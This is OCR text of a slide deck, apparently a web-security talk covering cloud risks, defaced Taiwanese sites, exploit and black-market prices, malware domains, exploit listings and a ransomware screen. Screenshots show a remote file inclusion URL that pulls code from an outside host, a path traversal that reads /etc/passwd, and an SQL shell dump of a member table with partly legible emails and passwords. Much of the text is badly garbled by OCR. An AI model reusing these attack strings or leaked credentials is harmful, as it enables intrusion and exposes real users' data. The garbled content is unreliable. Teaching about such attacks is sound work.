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“Computing is not about %
computing anymore. It's
about living.”

Being Digital (1995) by Nicholas Negroponte (p.6)
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Code

A
SEIEAFF;I‘ Mobile

Cloud Computing

Database PC

Cloud Computing

everything and the kitchen sink “iéf:lf“

Common implies multi-tenancy, not single or isolated tenancy
Location-independent

Online

Utility implies pay-for-use pricing

Demand implies ~infinite, ~immediate, ~invisible scalability
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Public Cloud

Public Cloud

Connectivity
(Network Access)

/

e B [ e

Enterprise

Private Cloud

Private Cloud
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Pros ar!d Cons

4 ‘_E_)

Scale and
Cost

INext- Reliability
Generation
Architectures

From http://blogs. zdnet.com/Hinchcliffe
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Q: Rate the challenges/issues ascribed to the 'cloud’/on-demand model
(1=not significant, 5=very significant)

| |
security N .6

Performance

Availability

Hard to integrate with in-house IT

Not enough ability to customize

Worried on-demand will cost more
Bringing back in-house may be difficult
Regulatory requirements prohibit cloud

Not enough major suppliers yet

Source: |IDC Enterprise Panel, August 2008 n=244
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' I% of all Internet
~ assaults are targeted at

veb applications.” .



http://www.docu-track.com/buy/
http://www.docu-track.com/buy/

;" ;" ;" ;" ;" ;" ;" ;"

¥

2010-01-20

2010-01-20

2010-01-20

2010-01-20

2010-01-20

2010-01-20

2010-01-20

2010-01-19

2010-01-19

www.duchy.com.tw

www.mit.url.tw

doit.moea.gov.tw

www.linfair.com.tw

www.mimaki-tw.com.tw

www.nZ2design.com.tw

fords.idv.tw

greenpets.com.tw

greenpets.tw
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SRR ERLT

MN2Design Visual Creative Studio
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S EETT
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Zone-h

Zone-h

Win 2003

Lirux

Win 2003

Lirux

Win 2003

Lirux

Win 2003

Linue

Linue

1

¥

2010-01-19 www.ruggedbook.com.tw Samwell Group-RUGGEDBOOK Zone-h |Win 2000

¥

2010-01-12 www.samwellg.com.tw Samwell International Inc. Zone-h |Win 2000
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hong-yi.com.tw

greenbeauty.com.tw

ce.naer.edu.tw

www.renault.com.tw

www.gift.acer.com.tw

www.esthederm.com.tw

www.leegold.com.tw

plum.goldweb.com.tw

wwwi.firstchem.com.tw
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SRR EEE
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Acer Gift Shop
RS - AEVREE
EEEE
EEAEENTESESES
FtITHSEE
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Win 2000
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"; AT S A - Microsoft Internet Explorer

REER EEE WRD RmEEG TAD HRm

L " e

e -~ o =
W E (X] (&) Dol || @ B N

=

AHED) |1 hitp Mislab/anindex phpPusenuke=1 &nuke_div=http:Hislab/vs. bt %00

]13 -al

total 200

dowxr-xr-x 3 apache apache 409 Oct 28 15:42 .
drwxowxrwx 22 root root 4096 Mow 1 17:55 ..

-t-1--1-- 1 apache apache 6250 Oct 28 09::24 CHANGES . THT
-t-1--1-- 1 apache apache 1448 Oct 28 09:24 IMWTALL .TXT
-tw-1--1-- 1 apache apache 13200 Oct 28 09:24 README .TXT
-tw-r--1-- 1 apache apache 2843 Oct 23 09:24 TPGRADE .TAT
-tw-r--1-- 1 apache apache 19895 Oct 28 09:24 add _php
-tw-r--1-- 1 apache apache 23117 Oct 28 09:24 admin_php
-tw-r--1-- 1 apache apache 1299 Oct 28 09:24 auth_hy e=fl23 php
dowxr-xr-x 2 apache apache 409 Oct 28 15:17 conf
-tw-1--1-- 1 apache apache 100 Oct 28 09:24 del _php
-m-1--1-- 1 apache apache 594 Oct 28 09:24 download.php
-tw-1--1-- 1 apache apache 6170 Oct 28 09:24 enter.php
-tw-1--1-- 1 apache apache 101 Oct 28 09:24 exit _php
-t-1--1-- 1 apache apache 5105 Oct 28 09:24 ezindex.php
dowxrwxrwt 4 apache apache 4096 Oct 28 15:09 files
-iw-r--1-- 1 apache apache 558 Oct 28 09:24 1d-do_zh

e ) i PRRER

— I — — R = = ===
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e ] i - Microanft Intemet Explorer
| BEE HEE HRO ZHBEW IAD HOA®

| L 11 e =
- - < e 4
K L || = -

QJ:_E i 7 x_l Lt EZ

| |#EHEDY |8 hitp:tistabiygwikivikidindex phpTpage=./ /. /. /. /. etcipasswd 200

Key Pages: Home | Qwikiviki | QwikiSyntax | Recent Changes

Recently Viewed: config.php = ../ config.php = ../ config.php = ../ config.php
=l fetc/passwd

QwikiWiki ofef o] o] ] ..[etc/passwd

root:x: 0.0 root: froot: Ain/bash

birix:1:1:bin: Ain: Ssbin/nologin

dasmon;x; 2; 2:daemon: /sbin; /sbin/ologin

adm . 3:4:adm: fvar fadm: /sbin/nologin

lpod: 7:p: fvar fepoolflpd: /fsbin/nologin

svnic:x: 5:0:svnc: /sbin: bindsync

shiutdown:x:6:0: shutdown: fsbin: /sbin/shutdown
halt:x: 7:0:halt: /sbin: /sbin/halt

mail:x:8:12:mail; fvar /spool/mail: fsbin/nologin
news:x:9: 13 news: fetc/news:

uucp:x: 10: 14 uucp: Avar fspool fuucp: /sbin/nologin
_ A R e Y : = NIERATRR
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Ackion! ]Thanq:i"nttnt-Ltnuth j Aoy |

Address: Jhitps:| hk: 4431 OrdCryHis  aspor

Pequest | Info | GUI

POST [OrdOrviis. aspes HTTPSL.1

Feferes: Sk 443 CrdQryHes, 2spo
Conbent-Length: 63

Conbent=Type: apphcation-vesse=form-urlencoded

Hersh: i, bk

| Jser=fgent: Mozllaj4.0 (compatible; MSIE £.0; Windows NT 5.1; 5¥1; NET CLR 1.1.4322)
Praging: no-cache

oookie: CustomZookiestebinspect; ASP.NET _Ssssionld=umwigpbrsggesdS50gpmacel

hidSeqio=EhidPrice=Shidty = LAoount =8 = BsMe=GsDD="Gorder { =

Rgsponse | Browser
Argument 'Datel’ cannot be converted to type 'Date’.

Description: An unhandied exception eoourred during the execution of the currént web request. Please révidw the

Al
stack trace for mare information abaut the error and wihene § originated in the code

Exception Details: System nvabdCastException: Argument Datel’ cannct be converlad to lype Date’

Source Error:

Line

Line gzg o= sy & U & MM & ' & =0
Line &5 tmpDay = DateDiFF("d”", ss5, Nowl))

Line F strhistory = oclsCOM.GetDrdii story (Session("ACHD" Y, Session("PASS"), tmpD
Line 5 'Response. Wreite(strhistory)

Source File: COPUBLICHAAEDOTE cormn KW OrdQryHis aspx Line: 46

4| |

Search 1=-:e5|:u:|n-.=-:- jF:..— |
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& Untiged Zession - Paros
Fit Edi Vew Analwe PFeport Tosle Helo

I Sites | Request| Response T |

HTTRM .1 300 0k

Date: Mon, 05 Fab 2007 034800 GMT

Servar. IBM_HTTP_ServanB.0.2.11 Apachef2 0,47 MWinl2)
Content-Length: 3142

(Keep-Alwe timeout=10, max="00

Connaction: Keap-Alve
Content-Type: tathitnl, charsel=bigs
Content-Language: th-Tw

fomml._sernce valug = Serdce;
fomm1 . submit(;
|
<fscrpl>
by LA EET S hTHET 2100 - { onlnload="exl()® onConesdmenu="return true™»
«farrm nama="form 1" mahod="pos ife]. batmiportal® targel="_parenl=
<input ype="hidder® name="_seri:e" vilue=">
“input pe="hidden” name="lssugld valugs
<inpul pe="hiddan® name="l¢suemccount valugs
<table width="T63" heighi="100%" border="0" align="canter* cellpaddiig="0" cellspacing="0"=

fr=<j»

Bow View ™ Toprequest & Tmp egons

200 OK TBEms
200 Ok 1265ms
200 0K 417 2ms
200 0K JB75ms
N0 ok A16m=
200 O T189ms
200 OK BG0ms
404 Mot Found 219ms
200 OFK 250ms

| Hisory [Spater] Aerts] Dutp]
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E
vebuserdclassd srflocalfsglrala
SQLEShell Version 0.22

Connected to: 172.25.0.111:9000 as bidleader

itbs § .fsqglxsh 172.25.0.111 9000 *= E:°7

type help; for a help.

0= select ctrl_rowid,p_userid,p unsername,p _passvord,p_sex, ddress,p_phonenum,p_rocid,p _birthday from ecmem profile where rownom<30;

D_3a .
CTRL_ERO¥ID P_USERID P_USERNANE P_PASIWORD P_SEX P_ADDREES F_PHONENUN P_ROCID P_BIRTHDAY

14 -JAN-T73

17 28-APR-T7

% 23-FEBR-79

: 22-NOV-TH

17-FEB-&1

o Nh-JOR-73

G 23-JON-T76

i2-JOM-77

18-JON-72

21-SEP-79

20-JUON-73

D1-FEB-32

Ey 109-MAR-T1

05-JUON-T79

25-DEC-75

D6-0CT-B1

28-JUL-78

DA -MAY-T72

» 31-JAN-T7

1P 14-APR-74

11-HOV-74

B1-DEC-73

ii'7-MAR - 66

R AT T : Bl 021 2680 23 -MAR-65
HE CRala AR UL -JAN-BO0
i ST A [ 10-0CT-74
(B AL PTENGSANAL B3 1AN-6B
64.%3 5 Tantei 452 12 -%0V-67
G6-2021 5+ 15-HO¥-73

el i td v tine net Lty 62011
hir “orhiwn.com. tw Sl e s1im0O0
waep vl mher® esdE . Com. by . =1 atD223
P Bt T, S jeanamyd90
) 2623276
FEARL AT 8 § % £ cog3dl
S A H 07100k
(RTINS P o S 6612
s foarvhailAc At . Cum, Iy ] e 19??.']6]3
.;w;ﬁ\ltn:r!ﬂ.l:ll& tw .- aBR0O010
Iitdepag . net ., tw o B 1234
ziail . pchome, com. tw aiaf 1234
idyahoo.Lom. tw e g 4687
chowp, Coa. tw " charles
hogs  Cem, i BT 130804
®. CoM. i Pk 701006
o PR L | tel A T sonl728
b . Com, tw &k 0504
1 e © qazwi410
CuR. bE i 04621
e o, d ok 2zs51ng
5. 018R9T . a0t 1F i anl615
LoxEe.Com. g T 3 LEA LT
vme, Coe @ ! stevoadd
casn 1% GO . b - 5 Bpnn55tm
srig.wangdoped.net. tw * 5 wl0lking
_pLABChome .. com. tw B v jameslpc
qu Fochome.com. tw ol talchung
220309 e 2 AT home . con. Uy . 1 621118
Rows Returned - 29
Fields Returned : 261
System time ]

LA 3 4 4 4 -4 1 3 1 39 4 4 80 S0 el 3 4 3 Sciol Sk

5:07:24 | 2007.09.11 1| 0 tcsh 1¥ tcsh
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Rainbow Tahle properties

Min Len Max Len -~ Index Chain Count N of tables
(0 IdDDDDDDD | 1

ﬂ Edit

CLMNOPORETUV WEYZ

1%2552 keys

wpapsk ¥ |35 MB
success probabiliby; 0978038 M7 209%)

Benchmark Crptional paraometer

Haszh speed:
atep speed:
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-_:i Free Rainbow Tables | download LM, NTLM, MD5, SHAI, HALFLMCHALL, MSCACHE - Microsoft Internet Explo... @@
wBRED EEE R0 HEEEG TAI SRR

&

Y - [ ﬂ LR o EmRE L)

i 4

ALY ’%ﬂ hitpedtewew freerainbovtables comeind ex-rainbowtables-tables-shal html

Algorithm: SHA1

mixalpha-numeric
(abcdefghijdmnoparstuvwxyzABCDEFGHLIKLMNOPQRSTUVWYYZ0 123455 789)

String Length: 1-7 characters

Character Set;

Mumber of Tahles: 101

Filesize: 36.9GB (rar-compressed)

Download: Torrent - Download torrent for these rainbow tables

Files: shal_mixalpha-numeric#1-7_0_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_1_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_2_4500x40000000_all.rar
shal_mixalpha-numeric=1-7_3_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_4_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_5_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_6_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_7_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_8_4500x40000000_all.rar
shal_mixalpha-numeric£1-7_2_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_10_4500x40000000_all.rar
shal_mixalpha-numeric=1-7_11_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_12_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_13 450040000000 _all.rar
shal_mixalpha-numeric#1-7_14_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_15_ 450040000000 _all.rar
shal_mixalpha-numeric#1-7_16_4500x40000000_al.rar
shal_mixalpha-numeric#1-7_17_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_18 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_19_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_20_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_21 450040000000 _all.rar
shal_mixalpha-numeric#1-7_22_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_23 450040000000 _all.rar
shal_mixalpha-numeric#1-7_24_ 4500x40000000_al.rar
shal_mixalpha-numeric#1-7_25_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_26_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_27_4500x40000000_all.rar

B P AR
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Index of /main

W awwe Last modifiad Zize Descriptiom

3 Paremt Divectory 3-0et- 17:

31-0Dct-2002 17:
31-0ct-2002 17:
03-Aug-2 09:
3 -0cr-2002 17:
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[
3 mons_MailACL add . php 3l-0ct-

:ﬁ pns _MallACL del .php -0t -
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? nns_Mailg. php 3l-det-
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N QUOTAT S - Mictosoft Intrrmet Explarer
Ee3amn

L AR

mesintone:_ CrroctaResult php.og

Vo MMSEALT S ERTR

Moiiferver Monogement Sysiem

o BHE | WEime)

130 BOTARE w21 7146572910 ==

i . 5 : B Hl= 214t aver guots E
2% el At (MByies) [MEytas)

1 (7504 51 079 20.48
20.48

56 : 20.48
WD 25, 20.4%
WS 5 20.48
20.48

2045

20.48

16.00
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16.00

16,00
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2} iThome online : : R FARLERA WM - Microsofi Internet Explorer
FBEE REE WRE FEEEL IRD SN

Iﬂ IEL| ; /EE% v HERE 5-‘ g | =) ] f"rg_‘- jgi -EI

AL D) | 8] httpe v ithome com bdited misrticle php7o=45744 v BEJix EE 7

)

Ok AL ER S TR i I Haeas

STIEES (G0E) 2007-10-17
Brocade 2005

Bl Yahoo# %R Jeremiah Grossman?KE » LOWASPEEINF EHERREEEE . oo7ava

HEHRA - hWZLEEFXEACELEEE - —HAEETEERESR
Tl -

OWASP (BARGERsETREZ 2R H
HIEEER NS —EE TR EE -
#FHEETE Web LB WebFERIIZEE. 2
HRERER - B BlVahooBR
Eeleremiah Grossman B 30 5% A g ey
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& 1
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The Black
Market

$980-%4,900
Trojan program to

steal online account
information

$490

Credit card number
with PIN

$78-$294

Billing data, including
account number,
address, Social
Ssecurity number, home
address, and hlrth date
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number of spam emails received by the average web user each day

(McAfee)
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CeHYac B HaNnW4MK

Cnyxba KOn-go aKKOE LleHa 3a 1K akkoB
Mail .ru 3046 Ao 10K: $10 | o7 10K no 100K: %8 | oT 100K: $6
Pochta.ru {+ FTF) A0 10K: $8 | or 10K o 100K: $5 | or 100K: $4
Tandex.ru {4+ Marod.rud 1 Ao 10K: $9 | o7 10K oo 100K: $F | oT 100K: %5
isrmail.com 346 A0 10K: $6 | o7 10K mo 100K: $5 | or 100K: $4
Hotrmail.corm : 3 Ao 10K: $7 | o7 10K oo 100K: $6 | oT 100K: $5
Yahoo.com 847 A0 10K: $9 | o7 10K ao 100K: $7 | or 100K: $6

LEHOBMTE CTATHMCTMEY K¥NKTb: | 100K % || Gmail.com
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Vulnerahility/Ex ploit

“"Some exploits”
Significant, relhiable exploit
Internet Explorer
Vista explot
“"Weaponized exploit”
ZDI, iDefense purchases
WMF exploit
Microsott Excel
Mozilla

$200,000 - 5250,000 § Gov't official referring to what “some people™ pay [Y]

5125,000
560,000 - 5 120,000
550,000
$20,000-530,000
$2,000-5 10,000
54000
> $1200

530

Source

Adriel Desautels, SNOSoft [11, 22, 13]
H.D. Moore [22]
Raimund Genes, Trend Micro [24]
David Maynor, Secure Works [18]
David Maynor, Secure Works |1 8]
Alexander Gostev, Kaspersky [26]
Ebay auction site [21, 25]
Moazilla bug bounty program [4]



http://www.docu-track.com/buy/
http://www.docu-track.com/buy/

Action

|
[ Vulnerability discovered.
l Submitted to prepub review at NSA.
7/27/06 l Approved for release by prepub review.
7/27/06 l Offered to government,
8/10/06 l Verbally agreed to $80K conditional deal.
|
[
l
I

Ilfﬂ?f{]i

8/11/06 prlmt given for evaluation.
8/25/06 Hash of exploit published.
8/28/06 Agreed to lesser amount,
9/8/06 Paid.

Table 2: “Successful” sale.

3-Yal5/360 282643

Date September 08, 204 Fay Amount *F*E50,MHLD0*§*

Fay FEAEIFTY THOUSAND AND XX/ 100 DOLLAR****

Ta The Owderof CHARLES MILLER

Autborized Siznature
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; Malware Domain List - Microsoft I_nlerl-le.t_ Explorer
wWEEO HEE Rl EREFW IRO FHEm

N R G oue domer @ 2 LR i EY

A4 D) | 4] hitp M malwared omeinlist commil. php Fsart=Datedsearch= twfecalsearch=Domsindesseordess=DESC &equantity=S0d&page=) | [£g 18E

Search: All v | Results to return: | 50w
&

Page O

Reverse Lookup & Malware
v Description &4 ¥

20080830 _22:10 | pd.com.twindezl.php 202.1332.244.145 | pd.coowo.com Ezchanger N
2008/08/30 _22:10 | pd.com.twindez? himl | 202.133.244.145 | pd.coowo.com Ezchanger M

Date 4 ¥ Domain & ¥ IPAY Registrar

art.creativity.edu.t
20080829 _19:15 | wiimagesfaratar/user 202.3048.108 Trojan N/A
siCalclmpSAT.exe

art.creativity.edu.t
0080820 19:15 | whimagesfavataruser 202.39.48.108 Trojan
gfCalcRFC.exe

art.creativity.edu.t
2008/08/29_19:15 | wiimagesfavatar/user 2023048108 Trojan
s/CalsRT58.exe

SO08/08/15_20:50 iff;id"'“’"”uploads” 51058101147 |mavis.tw660.com

www. 1 68user.com.tw/s 60-250-10-
2008/08/11_00:35 |, 60.250.10.198 | 199.HINET- Exploits
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3 CDocuments and Settingsiall UserstDocumentsiMy Pickurest Sample Pictures

|_READ ME_!.Exk i Blue hills.jpg. _CRYPT
Text Document CRYPT File

Picture Tasks 2

View as a slide show i —
] ' Sunset.jpg. _CRYPT [ Water lilies,jpg. _CRYPT
Crder prints online CRYPT Filz

CRYPT File

Print pickures =21 70KE

Shop For pickur
m ATTENTION !

and Folder T4 L] Your files are encrypbed with R56-1024 algorithm, To recovery your files wou need bo buy our decrypbor, To buy
[ decrypting tool contack us at: @vahoo, com

Make a new fo

Publish this Fal

the \Web
Share this folder

[iruslist.com

all about internet security

All Threats

Wirus Encyclopedia Riskware Alerts

Home [ Weblog

Analyst's Diary

Help crack Gpcode
Aleks  June 06, 2008 | 16:50 GMT

If you read Vitaly's blogpost yesterday,
file encryptor. Details of the encryption
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ws "A‘ BBE Ez E SOFTIWARE ADMINISTRATION

ftware Administration

Main software information

Li tion

Extra modules to download to the entire system

Filz name

Add extra module to the entire system

File name
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Virus Writers

Web-based
Trojans

Trojans

Evade-Detectiond Product
Conventional /&SU“‘"CL‘

Trojans

\’i 'L'I'J'HIIE.:
Website Setup \lastfrif[ rarhfri
& Spreading

Website

Betray customers

Hcllx'ictV Trafthic
Website Crack |

Envelops Stealers

Hosting web-
based and
conventional
Trojans

Y

Victims

Ekﬁibﬁcd”b}-’
web-based
Trojans

|

1 visitors to web-

Construct web-bas
ed Trojan network

&

Redirecting

based Trojans

Infected by
conventional
Trojans

v

Stolen of
envelops &
virtual assets
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o

. Vulnerable hosts are (o E‘

compromised and Aﬁacﬁer Vulnerable hosts are
attack tools % — .

: L / \ | compromised and
installed f[_L- . = || attack tools
=)
=

Initiate port scan ~ C— installed

Further scanning Further scanning
for compromises for compromises

A e
r = o

-

= =i =

Massive DDoS
attack launched

Infrastructure Security PacNOGS - Papeete, Tahiti - June 2009

Victim
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2009-07-00
2008-07-14
2008-06-03
2007-09-10
2007-09-03
2007-09-01
2007-03-29
2007-08-20
2007-06-08
2007-06-08
2007-06-07
2007-06-07
2007-04-09
2006-04-15
2006-04-12
2005-02-0%
2005-02-09
2004-11-15
2004-09-23
2004-09-02
2004-08-14
2004-08-08
2003-12-16
2003-10-18
2003-06-23

Windows Live Messenger Plus! FileServer 1.0 Directory Traversal Valn
Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit
C6 Messenger ActiveX Remote Download & Execute Exploit

Yahoo! Messenger 8.1.0.421 CYFT Object Arbitrary File Download

Telecom Italy Alice Messenger Remote registry key manipulation Exploit

enger [ YVerInfo.dll <= 2007.8.27.1) ActiveX BoF Exploit

low Exploit
Messenger Webcam 8.1 (Ywoopl.dll) Download / Execute Exploit

| Messenger Webcam 8.1 (Ywovwr.dll) Download / Execute Exploit

senger Webcam 8.1 ActiveX R werflow Exploit 2
rger Webcam r Dwerflow Exploit
2.2 Local File Inclusion Yulnerability

.0 {Accept-Language) Remote Owerflow Exploit

PHP121 Instant Messenger <= 0 cution Exploit
MS5N Messenger PNG Image E w [limece compile]
MSN Messenger PNG Image B ad Shellcoded Exploit
Secore Nebwork Messe | of Service Exploit
PopMessenger Remote Denial of Service Exploit
AOL Instant Messenges = Remote Exploit
AOL Instant Messenger
MS Messenger Denial of
M5 Windows Messenger Service Remote Exploit FR (M
M5 Windows Messenger Service Denial of Service Exploit (M503-043)

Yahoo Messenger 5.5 Remobe Exploit (DSR-docky.c)

joepied]
Jeremy Brown
Hine:Situations
shinnai

rgod

minhbg

wushi

ClearScreen
Luigi Auriemma
John Bissell
mandragore
VeNoMous
MrNice
LSD-PLaNET

Rave
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Instant Messaging (IM) Security Center

The Akonix Instant Messaging Security Center provides the latest information about worms, viruses
and other vulnerahilities that are targeting IM and P2P networks.

The IM Security Team in partnership with aur customers and leading security and messaging
companies identify and automatically protect our customers against these threats.

Risk »-low & - medium @ - high show all: 2008 | 2007 | 2006 | 2005 | 2004 | Eggggl

Risk Attack Hame Target Date Detected
Fakealert-AP IRC P2P September 02, 2003
MeteorBat A IRC P2P September 02, 2008
GoGho IRC P2P September 01, 2003
W3z ahloverworm.gen.d Yahoo! September 01, 2008
W32 ahlover worm.gen.e Yahoo! September 01, 2008
W3Z2isality.ac IRC P2P September 01, 2003
BackDoor-DMNY IRC P2P August 31, 2008
TrojBdoor-AMM IRC August 28, 2003
Downloader-BJY IRC August 28, 20038
W3ziautoRun-IL IRC August 27, 2008

QscarBot UG Al August 26, 2008
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Share of most secure browser versions

O Users with not most secure browser versions
E Users with most secure browser version

100%
16.7%

34 .7%

52.4%

83.3%

96.1% | |47.6%

Firefox safari Opera Internet
Explorer
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2009-08-18 M5 Internet Explorer (Javascript SetAttribute) Remote Crash Exploit i Irfan Asrar
1009-08-05 M5 Internet Explorer 8.0.7100.0 Simple HTML Remote Crash Pol R ] schnuddelbuddel
2009-07-24 MS Internet Explorer 7/8 findText Unicode Parsing Crash Exploit R D HonglD
2000-07-10 MS Internst Explorer 7 Video Acti temote Buffer Overflow Exploit

2000-07-00 Microsoft Internet Explorer [ AddFavorite) Remote Crash Pol ] Sherry
2000-04-20 MS Internet Explorer EMBED Memory Corruption Pol ( ¥o D ¥ Skylined
2009-03-04 MS Internet Explorer 7 Memory Corruption Exploit {MS09-002) (fast) F 0 Ahmed Obied
2009-02-70 M5 Internet Explorer 7 Memory Comupt I (winZk3sp2) R ) webDEWVIL
2009-02-20 M5 Internet Explorer 7 Memory Commupk 02) {py) R Secure
2000-02-20 t 7 ] R )} X Abysssec
2000-02-18 [ f

2000-01-29 In Explorer 7 Clicklacking Volnes

2000-01-00

2008-12-28

2008-12-15

2008-12-10

2008-12-10 MS Internet Explorer XML Parsing Remote Buffer Overflow Exploit Oday R Guido Landi

2008-09-28 Internet Explorer GDI+ Proof of Concept (MS08-052) ) X John Smith

2008-05-14 MS Internet Explorer (Print Table of Links) Cross-Zone Soripting PoC R D Aviv Raff

2007-11-11 Microsoft Internet Explorer TIF/ 0 155) I D grabarz

007-07-31  MS Internet Explorer 6 DirectX Media Remote Owerflow Do5S Exploit ) DeltahackingTEAM
2007-05-10 MS Internet Explorer <= 7 Remote Arbitrary File Rewrite PoC (MS07-027) D X Andres Tarasco
2007-03-26 MS Internet Explorer Recordset Dowuble Free Memory Exploit (MS07-009) F D nfa

2007-03-09 MS Internet Explorer {FTP Server Response) DoS Exploit {MS07-016) R } Mathew Rowley
2007-03-07 Macromedia 10.1.4.20 Swhir.dll Internat Explorer Stack Overflow DoS R shinnar
2007-02-05 MS Internet Explorer 6 [ mshitml.dil) Null Pointer Dereference Exploit R ] AmesianX

2007-01-18 BrowseDialog Class (corpbds6.dil) Internet Explorer D f Service R D shinnai

007-01-17 MS Internet Explorer VML Download and Execute Exploit 7-004) i D pangl

2007-01-16 MS Internet Explorer VML Remote Buffer Overflow Exploit {MS07-004) R ) LifeAsaGeak
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2009-09-14
2009-09-11
2009-07-24
2009-07-20
2009-07-17
2009-07-15
2009-07-13
2009-06-10
2009-05-29
2009-05-26
2009-04-D6
2009-03-30
2009-03-25
2009-03-16
2009-02-23
2009-01-21
2008-12-23
2008-10-07
2008-09-28
2007-10-22
2007-03-29
2007-02-20
2006-10-31
2006-08-22
2006-07-28
2006-06-02
2006-05-18
2006-04-24
2006-04-13
2006-02-08
2006-02-07

arflow Exploit [osx)
eap Spray Exploit [pl}
| Remote Heap Spray Exploit
emote Buffer Owverflow Pol
Maozilla Firefox 3.5 [Font tags) Remot wffer Overflow Exploit
¥ Stedio Player < 3.0.29.1 Firefox plug-in Command Injection Vuln
Mozifla Firefox 3.0.10 (KEYGEN) Remote Denial of Service Exploit
[wrclamped loop) Denial of Service Exploit
X5L Parsing Remote Memory Corruption PoC #2
3.0.x (XML Parser) Memory Corroption / DoS Pol

Mozilla Firefox X5L Parsing Remote Memory Comroption PoC Oday

Mozilla Firefox 3.0.7 OnbeforellnLoad DesignMode Dereference Crash

Maozilla Firefox 3.0.6 {BODY onload) Remote Crash Exploit
Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

Muozifla Fire 3.0.5 location.hash Remote Crash Exploit

Skype ax

of Service P

[

ol

amdc

Dan Kaminshky

DATA_SNIPER

h Pawlikowshd

irin
irC

loug

Jeremy Brown

% L5 -
L OIFHSE

Aditya K Sood
BugReport.IR
shinnai

Michal Zalewsk

Tomas Kempinshy

{ HD Moore

H D Moore
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2009-04-30
2009-01-30
2009-01-28
2008-12-23
2008-11-25
2003-00-28
2008-09-24
2003-09-035
2008-09-035
2008-09-05
2003 -00-04
2003-09-03
2003-09-03

Google Chrome
ogle Chrome
Google Chrome
Googhe Chrome
Chrome
Chrome

= Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome

Google Chrome

1.0.154.53 (Null Pointer) Remote Crash Exploit

1.0.154.46 [ChromeHTML: /) Parameter Injection Pol

1.0.154.43 ClickYacking Vulnerability {2009-01-23)

Browser [ChromeHTML:/ /) Remote Parameter Injection

Browser MetaCharacter URI Obfuscation Vulnerability

- Memory Exhausstion
Browser €
Browser [
Browser O,
Browser 0.2.140.77 {1582) Remote Silent Crash PoC
Browser 0.2.149,27 Automatic File Download Exploit

Browser 0.2.149.27 malicions ink DoS Valnerability

Aditya K Sood

waraxe

Aditya K Sood
Metacortex
Shinnok

CVRT

VWHK

Nerex

Risni Marang
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r; Adobe - S PEFSE: APSBO0-11: HEH Flash Player B3 EIRETES 2 PSS ES - Microsoft Internet Explorer @1
BEE HFHEED wRD HBOEFW IAD HEAD h
Q- QO [¥ @ G Pue Jrass @ 2| B | = EEW 3
D) ] hitp:dhvww adobe comwisupportsecuritybulleting/apsh08-11 html w kﬁ#&i g »
FiHM: 2006 4 5 880 ~

BEFEMTE: APSB05-11

CVE SR3E: CVE-2007-5275. CVE-2007-6243. CVE-2007-6637. CVE-2007-6019. CVE-2007-0071. CVE-2008-1655. CWE-
2008-1654

(FEFE

Adobe Flash Player P83 IH#H ZIREX5H BRIt e e e e Tl 8 F& LR SWF i
# A Flash Player 48, HEEAGEF HELETTHE. HERTHEEFEHAEERFHAMNERN Flash Player .

B E e mE e HEEFE TR E R EEIIREM Flash T EENEFEABME 2008 £ 3 BHE) Adobe HEARPLHE
LHEEEEEERERERNE P HREE R 0EEE LR RIS,

EEEmERNE
Adobe Flash Player 9.0.115.0 BZ8ThR4 # 8.0.39.0 BZ AT+

FHEWRE Adobe Flash Player fra-%E58 #5iE A About Flash Player B* Zi7E Flash M3 LiEE R H8. SUEHTHEEREE T8
5+ Adobe (3 Macromedia) Flash Player] - BB #ERSEEHENEFHETSTHER ENESERIHE.

A

Adobe 3EEFTH Adobe Flash Player 9.0.115.0 BX BiRFREHEREERINR 9.0124.0. Fit SETHPC ERER
F gEE R T RIRE TR THEN R+

é_l i TR
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Secnnia ESI (RC3)

Chearview Insecure End-of-Lifa Patched Settings

Insecure Programs

Prafila

Feadback Upgrade

This page displays programs that the Secunia P51 has detected on yvour computer for which there are known security
update= available. We recommend, that vou update or uninstall all programs listed here. Click any entry on this page to

view further details.

Insecure Programs [7] Version Detected [?7] Security State [?] Direct [7]

+| aAdobe Flash Player 9.x (General Flug-in) 9.0.115.0
Adobe Flash Flayer S.x (Firefox Plug-in) 9.0.115.0

[+] eMule D.x 0.47.0.50

+| Foxit Reader 2.x .0.2006.912

_ Sun Java JRE 1.5.x / 5. .0.80.3

[+] SunJava JRE 1.5.x/ 5. .0.80.3
Sun Java JRE 1.5.x / 5. .0.70.3

+| WinRAR 3.x 3.51.0.0

NOTE:
Show only Easy-to-Fatch programs is enabled. & programs not shown. [7]
If you are technically skilled, we strongly recommend that you disable this featurs!

Help us improve our service to you:
Program missing? Suggest it hers?
Send us your feedback, good as well as bad!?

Secunia respects your privacy, please read our privacy statement.

{'j Insecure
@ Insecure
@ Insecure
{'3 Inzecure
{j Insecure
{“:'j Inzecure
@ Insecure
-@ Insecure

O &
o &
O ®
O &
O &
O &
o &
O &

Secunia PSI v0.9.0.4
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'; A photo that can steal your Facebook acconnt - Microsoft Internet Explorer

BEQ REED WREO HHRELW IHEO HAM

Q% © HRG Pmm oo @ 2 L[Q]u-UhBHY 3

HEAEDY | &) http:hwww computerworld comiactiontarticle do%eommand =view & ricle Basicdearticleld=011 1 208&intsre=hm_list w }_j#;i iy ?

A photo that can steal your Facebook account i
A GIFAR gift for the Web masses from your |
friends at Black Hat . - t

By Robert McMillan Comments $ 5 Recommended 4+ 40 Share B WEIRE BREAKING
July 31, 2008 (IDG Mews Service) At the Black Hat computer security THE M DOWN.

conference in Las Vegas next week, researchers will demonstrate
software they've developed that could steal online credentials from users
of popular Web sites such as Facebook. eBay and Google.

The attack relies on a new type of hybrid file that looks like different
things to different programs. By placing these files on Web sites that
